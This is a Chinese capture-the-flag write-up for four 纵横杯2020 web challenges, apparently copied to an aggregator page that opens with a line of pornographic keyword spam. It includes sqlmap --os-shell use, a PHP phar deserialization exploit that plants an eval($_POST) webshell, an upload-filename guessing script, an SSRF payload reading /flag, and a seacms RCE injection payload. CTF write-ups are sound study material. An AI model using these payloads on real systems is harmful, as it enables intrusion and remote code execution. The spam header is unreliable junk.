日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

纵横杯2020 web wp

發布時間:2024/1/8 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 纵横杯2020 web wp 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

title: 縱橫杯2020 web wp
date: 2020-12-26 18:19:03
tags: CTF
categories: 比賽
link:https://yq1ng.github.io/


圖片是新博客截圖過來的,可能糊了,可以去新博客地址看

WankkoRee師傅、Mr.水函師傅帶飛我,這次比賽學到不少東西,先放個排名,膜拜師傅們

第一次ak web,后援團的大師傅們的思路都很騷,多多學習,今天被引號閉合搞了兩次,以后注意,phar的閉合與cms的閉合

  • easyci
  • hello_php
  • ezcms
  • 大家一起來審代碼

easyci

早上起來晚了,隊友說這個sqlmap就能跑,當時我還不信,沒見過比賽還能用sqlmap的。起床后自己試了試真的是欸,但是沒用,跑出來的賬號密碼登陸沒東西,flag也不在數據庫,那就要getshell了,但是不知道絕對路徑,馬子寫不上去,從團長那里得到yu師傅提示,讀取配置文件/etc/apache2/sites-enabled/000-default.conf,得到網站絕對路徑/var/sercet/html,用sqlmap進行getshell:py2 .\sqlmap.py -r ..\a.txt --os-shell手動選擇路徑,盡情玩耍

#/etc/apache2/sites-enabled/000-default.conf <VirtualHost *:80># The ServerName directive sets the request scheme, hostname and port that# the server uses to identify itself. This is used when creating# redirection URLs. In the context of virtual hosts, the ServerName# specifies what hostname must appear in the request's Host: header to# match this virtual host. For the default virtual host (this file) this# value is not decisive as it is used as a last resort host regardless.# However, you must set it for any further virtual host explicitly.#ServerName www.example.comServerAdmin webmaster@localhostDocumentRoot /var/sercet/html# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,# error, crit, alert, emerg.# It is also possible to configure the loglevel for particular# modules, e.g.#LogLevel info ssl:warnErrorLog ${APACHE_LOG_DIR}/error.logCustomLog ${APACHE_LOG_DIR}/access.log combined# For most configuration files from conf-available/, which are# enabled or disabled at a global level, it is possible to# include a line for only one particular virtual host. For example the# following line enables the CGI configuration for this host only# after it has been globally disabled with "a2disconf".#Include conf-available/serve-cgi-bin.conf </VirtualHost># vim: syntax=apache ts=4 sw=4 sts=4 sr noet

hello_php

掃描目錄,發現www.zip備份文件,下載后審計源碼,得到登陸賬號密碼:admin,admin888,登陸后的頁面有上傳文件,且在index.php頁面發現file_exists函數,使用phar進行反序列化攻擊,exp如下:

<?php /*** @Author: yq1ng* @Date: 2020-12-26* @challenges: hello-php*/ class Config{public $title;public $comment;public $logo_url;public function __construct(){global $title;global $comment;global $logo_url;$this->title= "'?><?php eval(\$_POST[1]);?>";$this->comment = "yq1ng";$this->logo_url = $logo_url;} } @unlink("phar1.phar");//unlink() 函數刪除文件。 $phar = new Phar("phar.phar"); $phar->startBuffering();//開始緩沖Phar寫操作 $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub $A=new Config; $phar->setMetadata($A);//將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test");//以字符串的形式添加一個文件到phar檔案添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering();

由于上傳文件的命名方式為時間戳的md5,所以再寫一個獲取時間戳md5的腳本,用來嘗試上傳后文件名,腳本使用方式為,先開啟腳本,緊接著上傳文件,然后挨個試文件名,上傳后尋找文件名,未出現404則成功

import time import hashlibdef md5vale(key):input_name = hashlib.md5()input_name.update(key.encode("utf-8"))print(input_name.hexdigest())for i in range(5):a=str(int(time.time()))md5vale(a)time.sleep(1)

然后使用phar偽協議讀取

進入config.php進行rce

查看flag發現并不行,沒有權限,使用蟻劍插件進行bypass,上次網絡不錯一口氣把蟻劍插件全部download了,也不會用,這次跟著團長學會了這個插件

ezcms

https://www.cnblogs.com/Spec/p/11188198.html

www.zip下載源碼,使用弱口令登陸后臺:URL/adm1n/login.php,admin,admin868
在模塊管理的采集管理處進行ssrf,使用file協議讀取發現被ban

嘗試使用:<yq1ng><a href="httpxxx://../../../../../../flag">123</a></yq1ng>

提交后點擊采集測試,得到flag

大家一起來審代碼

rce:https://github.com/ciweiin/seacms/issues/11

www.zip下載源碼,但是此cms的漏洞在7月22日的github上由reallws發布,直接rce即可
查看源碼發現admin被改為adm1n,進入后臺使用默認密碼進入URL/adm1n/login.php:admin,admin
在系統-百度推送處存在rce

Payload:";system(phpinfo());?>#

總結

以上是生活随笔為你收集整理的纵横杯2020 web wp的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。